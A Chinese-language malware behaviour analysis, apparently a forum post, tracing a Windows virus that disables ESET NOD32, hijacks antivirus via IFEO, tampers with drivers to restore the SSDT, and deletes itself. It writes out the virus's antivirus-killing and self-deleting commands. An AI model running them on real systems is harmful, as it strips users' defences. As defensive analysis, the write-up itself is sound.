1.调用CMD执行以下命令:
cmd /c sc config ekrn start= disabled
cmd.exe /c taskkill.exe /im ekrn.exe /f
明显针对Nod....
2.释放文件%SystemRoot%\System32\killdll.dll
反复写入该文件并加载
%SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\killdll.dll testall
篡改驱动
%SystemRoot%\System32\Drivers\aec.SYS
%SystemRoot%\System32\Drivers\AsyncMac.sys
加载,恢复SSDT
添加IFEO,挟持多种安软
删除启动项
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

4.释放文件%SystemRoot%\System32\Drivers\pcidump.sys
安装驱动并加载恢复SSDT
_uok.bat(可能是随机名)
删除自身
:Repeat
del "C:\DOCUME~1\SMALLY~1\桌面\Actvev.exe"
if exist "C:\DOCUME~1\SMALLY~1\桌面\Actvev.exe" goto Repeat
rmdir C:\DOCUME~1\SMALLY~1\桌面
del "C:\DOCUME~1\SMALLY~1\LOCALS~1\Temp\_uok.bat"
篡改驱动
%SystemRoot%\System32\Drivers\aec.SYS
%SystemRoot%\System32\Drivers\AsyncMac.sys
加载,恢复SSDT
启动进程%SystemRoot%\??????_xeex.exe
%SystemRoot%\System32\Drivers\pcidump.sys
安装驱动并加载恢复SSDT
关键是驱动,如果看守好drivers目录的话,这病毒就没戏了
